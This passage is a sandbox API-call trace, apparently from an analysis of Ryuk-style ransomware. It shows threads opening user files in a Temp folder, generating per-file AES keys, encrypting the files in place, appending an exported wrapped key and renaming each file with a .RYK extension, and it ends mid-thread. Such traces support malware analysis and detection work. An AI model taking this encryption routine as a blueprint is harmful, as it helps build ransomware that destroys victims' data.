	[0212.025] ReadFile (in: hFile=0x608, lpBuffer=0x986f5f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x986f560, lpOverlapped=0x0 | out: lpBuffer=0x986f5f0*, lpNumberOfBytesRead=0x986f560*=0x19, lpOverlapped=0x0) returned 1
	[0212.028] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.028] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x986f578 | out: phKey=0x986f578*=0x2b8e30) returned 1
	[0212.028] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.028] ReadFile (in: hFile=0x608, lpBuffer=0x3590000, nNumberOfBytesToRead=0xde8e, lpNumberOfBytesRead=0x986f584, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesRead=0x986f584*=0xde8e, lpOverlapped=0x0) returned 1
	[0212.031] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x986f580*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x986f580*=0xf4250) returned 1
	[0212.031] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x986f588*=0xde8e, dwBufLen=0xf4250 | out: pbData=0x3590000*, pdwDataLen=0x986f588*=0xde90) returned 1
	[0212.032] SetFilePointer (in: hFile=0x608, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.032] WriteFile (in: hFile=0x608, lpBuffer=0x3590000*, nNumberOfBytesToWrite=0xde90, lpNumberOfBytesWritten=0x986f584, lpOverlapped=0x0 | out: lpBuffer=0x3590000*, lpNumberOfBytesWritten=0x986f584*=0xde90, lpOverlapped=0x0) returned 1
	[0212.033] WriteFile (in: hFile=0x608, lpBuffer=0x986f5b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x986f590, lpOverlapped=0x0 | out: lpBuffer=0x986f5b0*, lpNumberOfBytesWritten=0x986f590*=0x6, lpOverlapped=0x0) returned 1
	[0212.033] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x986f5a0 | out: pbData=0x0*, pdwDataLen=0x986f5a0*=0x10c) returned 1
	[0212.033] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x986f610, pdwDataLen=0x986f5a0 | out: pbData=0x986f610*, pdwDataLen=0x986f5a0*=0x10c) returned 1
	[0212.034] WriteFile (in: hFile=0x608, lpBuffer=0x986f610*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x986f590, lpOverlapped=0x0 | out: lpBuffer=0x986f610*, lpNumberOfBytesWritten=0x986f590*=0x10c, lpOverlapped=0x0) returned 1
	[0212.034] CloseHandle (hObject=0x608) returned 1
	[0212.320] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.320] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\BDM2QhO.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\bdm2qho.jpg.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2091
	os_tid = 0x2684

	[0212.327] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat", dwFileAttributes=0x80) returned 1
	[0212.328] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c
	[0212.328] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x8d4f9f8 | out: lpFileSize=0x8d4f9f8*=16384) returned 1
	[0212.328] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x8d4fa08 | out: lpFileSize=0x8d4fa08*=16384) returned 1
	[0212.329] SetFilePointerEx (in: hFile=0x65c, liDistanceToMove=0x3ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.329] ReadFile (in: hFile=0x65c, lpBuffer=0x8d4fa50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8d4f9c0, lpOverlapped=0x0 | out: lpBuffer=0x8d4fa50*, lpNumberOfBytesRead=0x8d4f9c0*=0x19, lpOverlapped=0x0) returned 1
	[0212.387] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.387] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8d4f9d8 | out: phKey=0x8d4f9d8*=0x2b8e30) returned 1
	[0212.388] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.388] ReadFile (in: hFile=0x65c, lpBuffer=0x2690000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x8d4f9e4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8d4f9e4*=0x4000, lpOverlapped=0x0) returned 1
	[0212.390] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8d4f9e0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8d4f9e0*=0xf4250) returned 1
	[0212.390] CryptEncrypt (in: hKey=0x2b8e30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8d4f9e8*=0x4000, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8d4f9e8*=0x4010) returned 1
	[0212.390] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.390] WriteFile (in: hFile=0x65c, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x8d4f9e4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8d4f9e4*=0x4010, lpOverlapped=0x0) returned 1
	[0212.391] WriteFile (in: hFile=0x65c, lpBuffer=0x8d4fa10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8d4f9f0, lpOverlapped=0x0 | out: lpBuffer=0x8d4fa10*, lpNumberOfBytesWritten=0x8d4f9f0*=0x6, lpOverlapped=0x0) returned 1
	[0212.392] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8d4fa00 | out: pbData=0x0*, pdwDataLen=0x8d4fa00*=0x10c) returned 1
	[0212.392] CryptExportKey (in: hKey=0x2b8e30, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8d4fa70, pdwDataLen=0x8d4fa00 | out: pbData=0x8d4fa70*, pdwDataLen=0x8d4fa00*=0x10c) returned 1
	[0212.392] WriteFile (in: hFile=0x65c, lpBuffer=0x8d4fa70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8d4f9f0, lpOverlapped=0x0 | out: lpBuffer=0x8d4fa70*, lpNumberOfBytesWritten=0x8d4f9f0*=0x10c, lpOverlapped=0x0) returned 1
	[0212.392] CloseHandle (hObject=0x65c) returned 1
	[0212.394] CryptDestroyKey (hKey=0x2b8e30) returned 1
	[0212.394] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\index.dat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\index.dat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2092
	os_tid = 0x2688

	[0212.333] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4", dwFileAttributes=0x80) returned 1
	[0212.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664
	[0212.333] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x8c2f758 | out: lpFileSize=0x8c2f758*=3757) returned 1
	[0212.334] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x8c2f768 | out: lpFileSize=0x8c2f768*=3757) returned 1
	[0212.334] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0xd8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.334] ReadFile (in: hFile=0x664, lpBuffer=0x8c2f7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2f720, lpOverlapped=0x0 | out: lpBuffer=0x8c2f7b0*, lpNumberOfBytesRead=0x8c2f720*=0x19, lpOverlapped=0x0) returned 1
	[0212.337] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.337] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c2f738 | out: phKey=0x8c2f738*=0x2b8dc0) returned 1
	[0212.337] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.337] ReadFile (in: hFile=0x664, lpBuffer=0x2980000, nNumberOfBytesToRead=0xead, lpNumberOfBytesRead=0x8c2f744, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesRead=0x8c2f744*=0xead, lpOverlapped=0x0) returned 1
	[0212.337] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2f740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2f740*=0xf4250) returned 1
	[0212.337] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2980000*, pdwDataLen=0x8c2f748*=0xead, dwBufLen=0xf4250 | out: pbData=0x2980000*, pdwDataLen=0x8c2f748*=0xeb0) returned 1
	[0212.337] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.338] WriteFile (in: hFile=0x664, lpBuffer=0x2980000*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x8c2f744, lpOverlapped=0x0 | out: lpBuffer=0x2980000*, lpNumberOfBytesWritten=0x8c2f744*=0xeb0, lpOverlapped=0x0) returned 1
	[0212.338] WriteFile (in: hFile=0x664, lpBuffer=0x8c2f770*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2f750, lpOverlapped=0x0 | out: lpBuffer=0x8c2f770*, lpNumberOfBytesWritten=0x8c2f750*=0x6, lpOverlapped=0x0) returned 1
	[0212.338] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2f760 | out: pbData=0x0*, pdwDataLen=0x8c2f760*=0x10c) returned 1
	[0212.338] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2f7d0, pdwDataLen=0x8c2f760 | out: pbData=0x8c2f7d0*, pdwDataLen=0x8c2f760*=0x10c) returned 1
	[0212.338] WriteFile (in: hFile=0x664, lpBuffer=0x8c2f7d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2f750, lpOverlapped=0x0 | out: lpBuffer=0x8c2f7d0*, lpNumberOfBytesWritten=0x8c2f750*=0x10c, lpOverlapped=0x0) returned 1
	[0212.338] CloseHandle (hObject=0x664) returned 1
	[0212.339] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0212.340] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\D0W  zImaBM4n.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\d0w  zimabm4n.mp4.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2093
	os_tid = 0x268c

	[0212.346] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4", dwFileAttributes=0x80) returned 1
	[0212.347] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664
	[0212.347] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x8e6fa98 | out: lpFileSize=0x8e6fa98*=15614) returned 1
	[0212.348] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x8e6faa8 | out: lpFileSize=0x8e6faa8*=15614) returned 1
	[0212.348] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x3bdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.348] ReadFile (in: hFile=0x664, lpBuffer=0x8e6faf0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8e6fa60, lpOverlapped=0x0 | out: lpBuffer=0x8e6faf0*, lpNumberOfBytesRead=0x8e6fa60*=0x19, lpOverlapped=0x0) returned 1
	[0212.350] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.350] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8e6fa78 | out: phKey=0x8e6fa78*=0x2b8dc0) returned 1
	[0212.350] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.351] ReadFile (in: hFile=0x664, lpBuffer=0x2f90000, nNumberOfBytesToRead=0x3cfe, lpNumberOfBytesRead=0x8e6fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesRead=0x8e6fa84*=0x3cfe, lpOverlapped=0x0) returned 1
	[0212.351] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8e6fa80*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8e6fa80*=0xf4250) returned 1
	[0212.351] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f90000*, pdwDataLen=0x8e6fa88*=0x3cfe, dwBufLen=0xf4250 | out: pbData=0x2f90000*, pdwDataLen=0x8e6fa88*=0x3d00) returned 1
	[0212.351] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.351] WriteFile (in: hFile=0x664, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x3d00, lpNumberOfBytesWritten=0x8e6fa84, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x8e6fa84*=0x3d00, lpOverlapped=0x0) returned 1
	[0212.352] WriteFile (in: hFile=0x664, lpBuffer=0x8e6fab0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8e6fa90, lpOverlapped=0x0 | out: lpBuffer=0x8e6fab0*, lpNumberOfBytesWritten=0x8e6fa90*=0x6, lpOverlapped=0x0) returned 1
	[0212.352] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8e6faa0 | out: pbData=0x0*, pdwDataLen=0x8e6faa0*=0x10c) returned 1
	[0212.352] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8e6fb10, pdwDataLen=0x8e6faa0 | out: pbData=0x8e6fb10*, pdwDataLen=0x8e6faa0*=0x10c) returned 1
	[0212.352] WriteFile (in: hFile=0x664, lpBuffer=0x8e6fb10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8e6fa90, lpOverlapped=0x0 | out: lpBuffer=0x8e6fb10*, lpNumberOfBytesWritten=0x8e6fa90*=0x10c, lpOverlapped=0x0) returned 1
	[0212.352] CloseHandle (hObject=0x664) returned 1
	[0212.357] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0212.357] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\dL0Fi75.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\dl0fi75.mp4.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2094
	os_tid = 0x2690

	[0212.365] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps", dwFileAttributes=0x80) returned 1
	[0212.365] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x664
	[0212.366] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x90af9b8 | out: lpFileSize=0x90af9b8*=90766) returned 1
	[0212.366] GetFileSizeEx (in: hFile=0x664, lpFileSize=0x90af9c8 | out: lpFileSize=0x90af9c8*=90766) returned 1
	[0212.366] SetFilePointerEx (in: hFile=0x664, liDistanceToMove=0x1616c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0212.366] ReadFile (in: hFile=0x664, lpBuffer=0x90afa10, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x90af980, lpOverlapped=0x0 | out: lpBuffer=0x90afa10*, lpNumberOfBytesRead=0x90af980*=0x19, lpOverlapped=0x0) returned 1
	[0212.369] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.369] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x90af998 | out: phKey=0x90af998*=0x2b8dc0) returned 1
	[0212.369] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.369] ReadFile (in: hFile=0x664, lpBuffer=0x3090000, nNumberOfBytesToRead=0x1628e, lpNumberOfBytesRead=0x90af9a4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesRead=0x90af9a4*=0x1628e, lpOverlapped=0x0) returned 1
	[0212.371] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x90af9a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x90af9a0*=0xf4250) returned 1
	[0212.371] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3090000*, pdwDataLen=0x90af9a8*=0x1628e, dwBufLen=0xf4250 | out: pbData=0x3090000*, pdwDataLen=0x90af9a8*=0x16290) returned 1
	[0212.371] SetFilePointer (in: hFile=0x664, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0212.372] WriteFile (in: hFile=0x664, lpBuffer=0x3090000*, nNumberOfBytesToWrite=0x16290, lpNumberOfBytesWritten=0x90af9a4, lpOverlapped=0x0 | out: lpBuffer=0x3090000*, lpNumberOfBytesWritten=0x90af9a4*=0x16290, lpOverlapped=0x0) returned 1
	[0212.373] WriteFile (in: hFile=0x664, lpBuffer=0x90af9d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x90af9b0, lpOverlapped=0x0 | out: lpBuffer=0x90af9d0*, lpNumberOfBytesWritten=0x90af9b0*=0x6, lpOverlapped=0x0) returned 1
	[0212.373] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x90af9c0 | out: pbData=0x0*, pdwDataLen=0x90af9c0*=0x10c) returned 1
	[0212.373] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x90afa30, pdwDataLen=0x90af9c0 | out: pbData=0x90afa30*, pdwDataLen=0x90af9c0*=0x10c) returned 1
	[0212.373] WriteFile (in: hFile=0x664, lpBuffer=0x90afa30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x90af9b0, lpOverlapped=0x0 | out: lpBuffer=0x90afa30*, lpNumberOfBytesWritten=0x90af9b0*=0x10c, lpOverlapped=0x0) returned 1
	[0212.373] CloseHandle (hObject=0x664) returned 1
	[0212.381] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0212.381] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ejt2Fb952ZvwQ.pps.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ejt2fb952zvwq.pps.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2095
	os_tid = 0x2694

	[0212.400] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav", dwFileAttributes=0x80) returned 1
	[0212.401] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\etQIDu5e2VcL.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\etqidu5e2vcl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c
	[0212.401] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x8f8fc98 | out: lpFileSize=0x8f8fc98*=86177) returned 1
	[0212.401] GetFileSizeEx (in: hFile=0x65c, lpFileSize=0x8f8fca8 | out: lpFileSize=0x8f8fca8*=86177) returned 1
